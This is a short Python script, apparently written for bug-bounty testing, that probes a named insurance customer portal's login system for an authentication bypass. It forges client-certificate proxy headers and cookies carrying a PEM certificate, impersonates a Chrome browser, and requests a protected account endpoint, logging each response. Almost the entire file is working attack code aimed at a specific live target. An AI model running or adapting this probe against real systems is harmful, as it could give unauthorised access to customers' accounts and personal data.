#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15.0"]
# ///
from curl_cffi import requests
from urllib.parse import quote
import json
H='mein-portal.baloise.de'; B='https://'+H+'/auth'; ident={'X-Bug-Bounty':'dwbzn'}
pem=open('work/scratch/certprobe/cert.pem').read(); enc=quote(pem,safe='')
variants=[
 ('control',{},{}),
 ('env-cookie',{}, {'AL_ENV_SSL_CLIENT_CERT':enc}),
 ('env-cookie-raw',{}, {'AL_ENV_SSL_CLIENT_CERT':pem.replace('\n','%0A')}),
 ('xf-mtls-raw',{'X-Forwarded-mTLS-Client-Cert':pem.replace('\n','\\n')},{}),
 ('xf-mtls-url',{'X-Forwarded-mTLS-Client-Cert':enc},{}),
 ('xssl-url',{'X-SSL-Client-Cert':enc},{}),
 ('xfcc-url',{'X-Forwarded-Client-Cert':enc},{}),
 ('xclient-url',{'X-Client-Cert':enc},{}),
 ('sslclient-url',{'SSL_CLIENT_CERT':enc},{}),
]
for name,extra,cookies in variants:
 s=requests.Session(impersonate='chrome'); s.get(B+'/ui/app',headers=ident,timeout=30)
 for k,v in cookies.items(): s.cookies.set(k,v,domain='.baloise.de',path='/')
 h={**ident,'X-Same-Domain':'1','X-CSRFT759':s.cookies.get('CSRFT759-S') or '','Accept':'application/json,application/vnd.api+json',**extra}
 try:
  r=s.get(B+'/rest/protected/my/self',headers=h,allow_redirects=False,timeout=30)
  print(json.dumps({'name':name,'status':r.status_code,'len':len(r.content),'ms':round(r.elapsed.total_seconds()*1000),'exchange':getattr(r,'toadex_exchange_id',None),'body':r.text[:500]},ensure_ascii=False),flush=True)
 except Exception as e: print(json.dumps({'name':name,'error':repr(e)}),flush=True)
